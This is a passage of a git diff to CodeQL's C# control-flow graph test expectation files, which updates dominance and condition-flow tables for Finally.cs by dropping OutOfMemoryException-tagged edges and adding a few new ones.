| enter M9 | Finally.cs:180:21:180:43 | [b1 (line 176): true] throw ...; | true | | Finally.cs:176:10:176:11 | enter M9 | Finally.cs:180:27:180:42 | [b1 (line 176): true] object creation of type ExceptionA | true | @@ -1694,8 +1671,6 @@ conditionBlock | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | true | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | true | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | {...} | false | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:254:13:254:44 | call to method WriteLine | false | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | false | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | {...} | false | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | true | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | true | @@ -1709,8 +1684,6 @@ conditionBlock | Finally.cs:243:13:253:13 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | true | | Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | true | | Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | {...} | false | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | false | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | false | | Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | {...} | false | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:6:10:6:11 | exit M1 (normal) | true | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:22:8:24 | String arg | false | @@ -2594,7 +2567,6 @@ conditionFlow | Finally.cs:34:21:34:24 | true | Finally.cs:34:27:34:32 | throw ...; | true | | Finally.cs:61:48:61:51 | [exception: Exception] true | Finally.cs:62:9:64:9 | {...} | true | | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | Finally.cs:66:9:67:9 | {...} | true | -| Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | Finally.cs:66:9:67:9 | {...} | true | | Finally.cs:77:16:77:20 | ... > ... | Finally.cs:74:10:74:11 | exit M4 (normal) | false | | Finally.cs:77:16:77:20 | ... > ... | Finally.cs:78:9:100:9 | {...} | true | | Finally.cs:81:21:81:26 | ... == ... | Finally.cs:82:21:82:27 | return ...; | true | @@ -2651,20 +2623,14 @@ conditionFlow | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | Finally.cs:165:13:168:13 | catch {...} | false | | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | Finally.cs:162:13:164:13 | {...} | true | | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | Finally.cs:165:13:168:13 | catch {...} | false | -| Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | Finally.cs:162:13:164:13 | {...} | true | -| Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | Finally.cs:165:13:168:13 | catch {...} | false | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | true | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | false | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | true | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | false | -| Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | true | -| Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | false | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | true | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | false | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | true | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | false | -| Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | true | -| Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | false | | Finally.cs:180:17:180:18 | access to parameter b1 | Finally.cs:180:27:180:42 | [b1 (line 176): true] object creation of type ExceptionA | true | | Finally.cs:180:17:180:18 | access to parameter b1 | Finally.cs:183:9:192:9 | [b1 (line 176): false] {...} | false | | Finally.cs:186:21:186:22 | [b1 (line 176): false] access to parameter b2 | Finally.cs:176:10:176:11 | exit M9 (normal) | false | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index 64faed12b0c..b9f51a64281 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -1688,17 +1688,14 @@ dominance | Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:14:9:16:9 | {...} | | Finally.cs:11:13:11:38 | ...; | Finally.cs:11:31:11:36 | "Try1" | | Finally.cs:11:31:11:36 | "Try1" | Finally.cs:11:13:11:37 | call to method WriteLine | -| Finally.cs:11:31:11:36 | "Try1" | Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | | Finally.cs:14:9:16:9 | {...} | Finally.cs:15:13:15:41 | ...; | +| Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:7:10:7:11 | exit M1 (abnormal) | | Finally.cs:15:13:15:40 | call to method WriteLine | Finally.cs:7:10:7:11 | exit M1 (normal) | | Finally.cs:15:13:15:41 | ...; | Finally.cs:15:31:15:39 | "Finally" | | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | -| Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | | Finally.cs:15:31:15:39 | "Finally" | Finally.cs:15:13:15:40 | call to method WriteLine | | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | -| Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:15:13:15:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:20:5:52:5 | {...} | | Finally.cs:20:5:52:5 | {...} | Finally.cs:21:9:51:9 | try {...} ... | | Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:22:9:25:9 | {...} | @@ -1707,18 +1704,15 @@ dominance | Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | | Finally.cs:23:13:23:38 | ...; | Finally.cs:23:31:23:36 | "Try2" | | Finally.cs:23:31:23:36 | "Try2" | Finally.cs:23:13:23:37 | call to method WriteLine | -| Finally.cs:23:31:23:36 | "Try2" | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:49:9:51:9 | [finally: return] {...} | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:26:48:26:51 | [exception: Exception] true | | Finally.cs:26:48:26:51 | [exception: Exception] true | Finally.cs:27:9:29:9 | {...} | | Finally.cs:27:9:29:9 | {...} | Finally.cs:28:13:28:18 | throw ...; | | Finally.cs:28:13:28:18 | throw ...; | Finally.cs:49:9:51:9 | [finally: exception(IOException)] {...} | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:31:9:40:9 | {...} | | Finally.cs:31:9:40:9 | {...} | Finally.cs:32:13:39:13 | try {...} ... | | Finally.cs:32:13:39:13 | try {...} ... | Finally.cs:33:13:35:13 | {...} | @@ -1730,6 +1724,7 @@ dominance | Finally.cs:38:17:38:44 | [finally: exception(ArgumentException)] throw ...; | Finally.cs:49:9:51:9 | [finally: exception(Exception)] {...} | | Finally.cs:38:23:38:43 | [finally: exception(ArgumentException)] object creation of type Exception | Finally.cs:38:17:38:44 | [finally: exception(ArgumentException)] throw ...; | | Finally.cs:38:37:38:42 | [finally: exception(ArgumentException)] "Boo!" | Finally.cs:38:23:38:43 | [finally: exception(ArgumentException)] object creation of type Exception | +| Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | | Finally.cs:42:9:43:9 | {...} | Finally.cs:49:9:51:9 | {...} | | Finally.cs:49:9:51:9 | [finally: exception(Exception)] {...} | Finally.cs:50:13:50:41 | [finally: exception(Exception)] ...; | | Finally.cs:49:9:51:9 | [finally: exception(IOException)] {...} | Finally.cs:50:13:50:41 | [finally: exception(IOException)] ...; | @@ -1751,42 +1746,32 @@ dominance | Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | | Finally.cs:58:13:58:38 | ...; | Finally.cs:58:31:58:36 | "Try3" | | Finally.cs:58:31:58:36 | "Try3" | Finally.cs:58:13:58:37 | call to method WriteLine | -| Finally.cs:58:31:58:36 | "Try3" | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:69:9:71:9 | [finally: return] {...} | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:61:48:61:51 | [exception: Exception] true | | Finally.cs:61:48:61:51 | [exception: Exception] true | Finally.cs:62:9:64:9 | {...} | | Finally.cs:62:9:64:9 | {...} | Finally.cs:63:13:63:18 | throw ...; | | Finally.cs:63:13:63:18 | throw ...; | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:65:35:65:35 | [exception: Exception] access to local variable e | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:65:35:65:35 | [exception: OutOfMemoryException] access to local variable e | | Finally.cs:65:35:65:35 | [exception: Exception] access to local variable e | Finally.cs:65:35:65:43 | [exception: Exception] access to property Message | -| Finally.cs:65:35:65:35 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:65:35:65:43 | [exception: OutOfMemoryException] access to property Message | | Finally.cs:65:35:65:43 | [exception: Exception] access to property Message | Finally.cs:65:48:65:51 | [exception: Exception] null | -| Finally.cs:65:35:65:43 | [exception: OutOfMemoryException] access to property Message | Finally.cs:65:48:65:51 | [exception: OutOfMemoryException] null | +| Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | Finally.cs:66:9:67:9 | {...} | | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | -| Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:65:48:65:51 | [exception: Exception] null | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | -| Finally.cs:65:48:65:51 | [exception: OutOfMemoryException] null | Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | | Finally.cs:66:9:67:9 | {...} | Finally.cs:69:9:71:9 | {...} | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | | Finally.cs:69:9:71:9 | [finally: return] {...} | Finally.cs:70:13:70:41 | [finally: return] ...; | | Finally.cs:69:9:71:9 | {...} | Finally.cs:70:13:70:41 | ...; | | Finally.cs:70:13:70:41 | ...; | Finally.cs:70:31:70:39 | "Finally" | | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | -| Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | | Finally.cs:70:13:70:41 | [finally: return] ...; | Finally.cs:70:31:70:39 | [finally: return] "Finally" | | Finally.cs:70:31:70:39 | "Finally" | Finally.cs:70:13:70:40 | call to method WriteLine | | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | Finally.cs:70:13:70:40 | [finally: exception(Exception)] call to method WriteLine | | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | Finally.cs:70:13:70:40 | [finally: exception(IOException)] call to method WriteLine | -| Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:70:13:70:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | | Finally.cs:70:31:70:39 | [finally: return] "Finally" | Finally.cs:70:13:70:40 | [finally: return] call to method WriteLine | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:75:5:101:5 | {...} | | Finally.cs:75:5:101:5 | {...} | Finally.cs:76:9:76:19 | ... ...; | @@ -2026,16 +2011,12 @@ dominance | Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:140:9:143:9 | {...} | | Finally.cs:137:13:137:37 | ...; | Finally.cs:137:31:137:35 | "Try" | | Finally.cs:137:31:137:35 | "Try" | Finally.cs:137:13:137:36 | call to method WriteLine | -| Finally.cs:137:31:137:35 | "Try" | Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | | Finally.cs:140:9:143:9 | {...} | Finally.cs:141:41:141:42 | "" | | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | Finally.cs:141:13:141:44 | [finally: exception(Exception)] throw ...; | -| Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | Finally.cs:141:13:141:44 | [finally: exception(OutOfMemoryException)] throw ...; | | Finally.cs:141:19:141:43 | object creation of type ArgumentException | Finally.cs:141:13:141:44 | throw ...; | | Finally.cs:141:41:141:42 | "" | Finally.cs:141:19:141:43 | object creation of type ArgumentException | | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | -| Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:148:5:170:5 | {...} | | Finally.cs:148:5:170:5 | {...} | Finally.cs:149:9:169:9 | try {...} ... | | Finally.cs:149:9:169:9 | try {...} ... | Finally.cs:150:9:153:9 | {...} | @@ -2082,56 +2063,38 @@ dominance | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | | Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:21:159:45 | throw ...; | | Finally.cs:159:41:159:43 | "1" | Finally.cs:159:27:159:44 | object creation of type Exception | -| Finally.cs:159:41:159:43 | "1" | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | -| Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | -| Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:161:39:161:39 | [exception: Exception] access to local variable e | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:161:39:161:39 | [exception: NullReferenceException] access to local variable e | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:39 | [exception: OutOfMemoryException] access to local variable e | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | | Finally.cs:161:39:161:39 | [exception: Exception] access to local variable e | Finally.cs:161:39:161:47 | [exception: Exception] access to property Message | | Finally.cs:161:39:161:39 | [exception: NullReferenceException] access to local variable e | Finally.cs:161:39:161:47 | [exception: NullReferenceException] access to property Message | -| Finally.cs:161:39:161:39 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:161:39:161:47 | [exception: OutOfMemoryException] access to property Message | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | -| Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | -| Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | | Finally.cs:161:39:161:47 | [exception: Exception] access to property Message | Finally.cs:161:52:161:54 | [exception: Exception] "1" | | Finally.cs:161:39:161:47 | [exception: NullReferenceException] access to property Message | Finally.cs:161:52:161:54 | [exception: NullReferenceException] "1" | -| Finally.cs:161:39:161:47 | [exception: OutOfMemoryException] access to property Message | Finally.cs:161:52:161:54 | [exception: OutOfMemoryException] "1" | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | -| Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | -| Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | | Finally.cs:161:52:161:54 | [exception: Exception] "1" | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | | Finally.cs:161:52:161:54 | [exception: NullReferenceException] "1" | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | -| Finally.cs:161:52:161:54 | [exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | -| Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | -| Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:163:17:163:43 | [finally: exception(ArgumentNullException)] ...; | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:163:17:163:43 | [finally: exception(Exception)] ...; | | Finally.cs:162:13:164:13 | {...} | Finally.cs:163:17:163:43 | ...; | @@ -2305,9 +2268,10 @@ dominance | Finally.cs:217:5:231:5 | {...} | Finally.cs:218:9:229:9 | try {...} ... | | Finally.cs:218:9:229:9 | try {...} ... | Finally.cs:219:9:221:9 | {...} | | Finally.cs:219:9:221:9 | {...} | Finally.cs:220:13:220:37 | ...; | +| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:222:9:225:9 | catch {...} | +| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:227:9:229:9 | {...} | | Finally.cs:220:13:220:37 | ...; | Finally.cs:220:31:220:35 | "Try" | | Finally.cs:220:31:220:35 | "Try" | Finally.cs:220:13:220:36 | call to method WriteLine | -| Finally.cs:220:31:220:35 | "Try" | Finally.cs:222:9:225:9 | catch {...} | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:223:9:225:9 | {...} | | Finally.cs:223:9:225:9 | {...} | Finally.cs:224:13:224:39 | ...; | | Finally.cs:224:13:224:39 | ...; | Finally.cs:224:31:224:37 | "Catch" | @@ -2389,20 +2353,16 @@ dominance | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | | Finally.cs:254:13:254:45 | ...; | Finally.cs:254:31:254:43 | "Mid finally" | | Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:13:254:44 | call to method WriteLine | -| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | | Finally.cs:257:9:259:9 | {...} | Finally.cs:258:13:258:47 | ...; | | Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:260:9:260:34 | ...; | | Finally.cs:258:13:258:47 | ...; | Finally.cs:258:31:258:45 | "Outer finally" | | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:258:31:258:45 | 